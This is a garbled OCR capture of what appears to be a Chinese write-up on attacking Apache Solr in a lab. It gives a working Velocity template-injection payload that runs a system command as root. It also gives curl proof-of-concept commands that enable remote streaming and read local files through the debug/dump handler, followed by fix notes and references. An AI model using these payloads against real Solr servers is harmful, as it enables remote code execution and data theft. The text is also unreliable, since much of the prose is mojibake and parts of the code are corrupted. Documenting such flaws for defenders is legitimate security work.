2020/10/13 14:23
2020/10/13 14:24
2020/10/13 14:23
2020/10/13 14:23

[£480 zip, @Y Configset APl H{EFIARSS 25

St Fh

42

hrg s 55 KB

JSON B4t 1 KB

SAITRY 1 KB

XML SZ#Y 54 KB

y 1 KB
2 KB

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @ssscon

figset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"

pplication/octet

stream

33/solr/admin/configs7actionsUPLOADEname=sssConfigSet

Fo & S R AT

! 5 | | _
GET /solr/admin/configs?action=L15T&omitHeader=true HTTP/1.1 A
! Host: 192.1&8.33.128:8983 r
| User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:81.0)
Gecko/20100101 Firefox/81.0
| Accept: application/json, text/plain, */*
i Accept-Language:
zh=-CN, zh;q=0. 8, zh-TW;9=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;g=0. 2
» Accept—-Encoding: gzip, deflate
" X-Requested-With: XMLHttpRequest
| Connection: close
! Referer: http://192 168, 33 128 :8983/s0!r/
|
e
v

0 matches

Ny (e[ ] [sea

BT API Bl FTHY collecton,

[

SE MBI BT P

(DESs [l (=] [searen

1T HTTPA1.1 200 OK

Connection: close

3 Content-Type: application/json;charset=utf-8
1 Content-Length:

153

o

"configSets": [
"_default”,
"myConfigSet”

gettingstarted”,

ConfigSet”,

"aaaConfigSet”,

"skayConfigSet

"sssConfigSet

]

|

Omatches | \n | | Prett



Mgy Perems | Hescers | ter

Eiiii Headers |Hex|

1 GET /solr/admin/collections?_=16025702959798act i on=CREATE& : 1 HTTP/1.1 200 OK
autoAddReplicas=falsedcol lection. configMame=sssConfigSetd 2 Connection: close
maxShlrdiPerNodu=1&nlme=sIianumShnrdi:lilep|icntionFactor=1&routur.name 3 Content-Type: application/json;charset=utf-8
=compositeld&wt=json HTTP/1.1 4 Content-Length: 210

2 Host: 192.168.33.128:8983 5

3 User-Agent: Mozilla/5. 0 (Windows NT 10.0; Winb4; x64; rv:81.0) 6 |
Gecko/20100101 Firefox/81.0 7 "responseHeader”: [

4 Accept: application/json, text/plain, */% B "status”:0,

5 Accept-Language: 9 "QTime": 1888
zh—CN, zh;q=0. 8, zh-TW; q=0. 7, zh-HK; 9=0. 5, en-US;q=0. 3, en;q=0. 2 1.

& Accept-Encoding: gzip, deflate 10 "success": |

7 X-Requested-With: XMLHttpRequest I 1 "172.17.0.2:8983_solr": |

8 Connection: close 12 “responseHeader " : {

9 Referer: http://192.168. 33. 126:8983/so0lr/ 13 “status”:0

10 14 “QTime": 1461
1 L
15 "core":"ssss_shard!_replica_nl”
i
1
]
16
.
BRI
ﬂ Params THemders THex ] H Headers THex ]
GET /solr/admin/col lections? =160257029597%&action=L|5T&wt=json HTTP/1.1 : 1 HTTPA1.1 200 OK
Host: 192 168.33 128:8983 Z Connection: close
User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xé4; rv:B1.0) 3 Content—Type: application/json;charset=utf-
Gecko/20100101 Firefox/81.0 4 Content—Length: 125
Accept: application/json, text/plain, */%¥ 5
Accept-Language: 61
zh—CN, zh;g=0. 8, zh—TW;g=0. 7, zh-HK; g=0. 5, en-US;g=0. 3, en; g=0. 2 7 "responseHeader": [
Accept—Encoding: gzip, deflate 8 "status":0
X-Requested-With: XMLHttpRequest 9 "OTime":0
Connection: close B
Referer: http://192.168.33. 128:8983/s0lr/ 10 "eollections": [
“ aaa,

| 1 "sss",

12 "gettingstarted”,

13 "ssss"

}
14

MATA <

1

@~ s WK

HParm]Headers[Hex]

GET /solr/ssss| shard1_replica_nl/select?q=14&wt=ve |locity&v. temp|ate= = 1 HTTP/1.1 200 OK

customéy. template. custom= 2 Connection: close

%23set ($x=%27%27) +%23set ($rt=§x. class. forName (%27 java. lang. Runt ime%27))+ 3 Content-Type: text/html; charset=utf-8
%23set ($chr=$x. class. forName (%27 java. lang. Character%27)) +%23set (§str=$x 4 Content-Length: 47

class. forName (%27 java. lang. Stringk27))+%23set ($ex=$rt. getRuntime (). exec(

5
%271d%27) ) +$ex. waitFor () +%23set ($out=$ex. get InputStream()) +%23foreach ($i 60 uid=0(root) gid=0(root) groups=0(reot)
7

+in+%5B1. . $out. available ()%5D) $str. valueOf ($chr. toChars (Sout. read ())) %23
end HTTP/1.1

Host: 192.168. 33. 128:8983e

Connection: close

Accept—Encoding: gzip, deflate

Accept: */* |
User-Agent: python-requests/2. 24.0




SN e =Y

210 ERAFMEBXHER (EHELES)

PINZEARBRBR T, SIEESHRIA
& Solr EAThRAS

http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz

Q@ © & 192.168.33,130:8983/s0lr/#, [
mEANS @ #Eie DemEs QFsEw

'"E?

- L = Instance EB System
Dashboard
B =1 Versions
2 Logging 236 G8
% solr-spec 8.7.0
B Core Admin solr-impl 8.7.0 2dc63e901c60cda27 ef3h744bc554f148 1b3b067 - atrisharma - 2020-10-29 19:309:16 Swap Space  14.8%
Java Properties  lucena-spec 8.7.0
Thread Dumgp lucene-impl 8.7.0 2dc63e501c60cdaz7ef3b744bc554f1481b3b067 - atrisharma - 2020-10-29 19:35:28
237 GB
WM = JVM-Memory  14.4%
Runtime Orade Corporation Java HotSpot{TM) 64-Bit Server VM 1.8.0_20 25.20-b23
B Args DSTOP.KEY=s0lrocks
-DSTOP.PORT=7983
-Djava.io.tmpdir=C:\Solr\solr-8.7.0\server\tmp
-Djetty. home=C:\Solr\solr-8.7.0\server
-Dietty.host=0.0.0.0 .
@ Security

Djetty.port=8983
-Dlog4j.configurationFile=C:\Solrisolr-8.7.0\serveriresourcesilog4j2.xml
-Dsolrdefault.confdir=C:\Salr\solr-8.7 0\serverisolriconfigsats)_default\conf
-Dsolranstall.dir=C:\Solr\soir-8.7.0
-Dsalrjetty.inetaccess.excudes= Current Usemame

Authentication Plugin
Authorization Plugin
Dselrjetty.inetac ncudes=
-Dsolrlog.dir=C:\:
-Dsairsoirhome=C:\Solr\solr-8.7.0'example\example-DIH\solr
-Dusertimezone=UTC

User Roles
olr-8.7 0\example\example-DIH\solr,. \logs

- +AbwaysPreTouch

=¥ +ExphicitGCInvokesConcurrent
+ParallelRefProcEnabled

-¥¥: +PerfDisableSharedMem

W +PrintGCApplicationStoppedTime
++PrintGCDateStamps
+PrintGCDetails
+PrintGCTimeStamps

0k +PrintHeapAtGE

=¥ +PrintTenuringDistribution
-XXi+UseG1GC

POC

curl -d '"{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming"”:t
rue}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url
=file:///C:/a.txt"

curl -d "{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming"”:t
rue}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

L:~# curl -d '{ "“"set-property” : {"requestDispatcher.requestParsers.enableRemoteStreamin

e}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json’




“responseHeader": {
“status":0,
“QTime":1775},

"WARNING" : "This response format is experimental. It is likely to change in the future."}
root@kall:-#

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url
=file:///C:/a.txt"

J Oracle 2020/7/27 14:40 ik
. PerflLogs 2ANAST 14 11-90 ritE
| Progran Files . - eFx

. Frogram Files (x36) H D

. Selr

] Windows
| WIFKT
AR

|| test233

code™ : 4
root@kali:~# curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams” -F "stream
Aurl=file:///C:/a.txt"
{
"responseHeader”:{
“status":0,
“QTime":13,
"handler”:"org.apache.solr.handler.DumpRequestHandler"”,
"params”:{
"param”: "ContentStreams”,
“stream.url”:"file:///C:/a.txt"}},
"params”:{
“stream.url”:"file:///C:/a.txt",
“echoHandler":"true”,
"param”: "ContentStreams”,
"echoParams": "explicit"},
"streams": [{
"name"” : .
“sourceInfo":"url”,
"size": ‘
“contentlype”:
“stream": "asaaasaaaaaaaaaaaaaaaa’}],
=l
“webapp":"“/solr”,
“path":"/debug/dump"”,
"httpMethod": "POST"}}
root@kali:~# JJ

3. imRE 2R

https://cwiki.apache.org/confluence/display/solr/SolrSecurity
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4. [ BERhiF Rl B

XMBHERRAMML 7, SE—EEES MRS, H Sor BESAEEIE, | BB
T RENS url R Ae], A=FESIIEN.

SIRE, RAMERE url AEE, BEETIEENME 2B NE core T
collection, core WBZMBEE url 1, BEFIEHRNBAFEENX, REZHNIEEEERER
Y& example IO, Pl LR RS,

@ AN /I\AIE\

Apache Solr BRBIALZEN KRB, BREPDHZTHOARZN, RBHARZ api O, AR
AP @8N config api BFCE XM, BHERA.

h. SEHIE
https://solr.apache.org/quide/8_6/

https://caigiqi.github.io/2019/11/03/Apache—
Solr%E6%BC%8F%EG%B4%9E%ES%90%88%E9%9B%86/

https://baike.baidu.com/item/apache%20solr
https://cwiki.apache.org/confluence/display/solr/SolrSecurity
https://www._jianshu.com/p/03b1199dec2¢c
https://zhuanlan.zhinu.com/p/71629409
https://issues.apache.org/jira/browse/SOLR-12770
https://xz.aliyun.com/t/8374
https://www.ebounce.cn/web/73.html
https://developer.aliyun.com/article/616505

https://www. jianshu.com/p/d3d83b6ch17¢

https://www.cnblogs.com/leeSmall/p/8992708.html



https://zhouj000.github.io/2019/01/24/solr-6/

https://juejin.im/post/6844903949116391431

http://codingdict.com/article/9427
https://xz.aliyun.com/t/2448
https://xz.aliyun.com/t/1523#toc—1
https://paper.seebug.org/1009/

https://xz.aliyun.com/t/4422



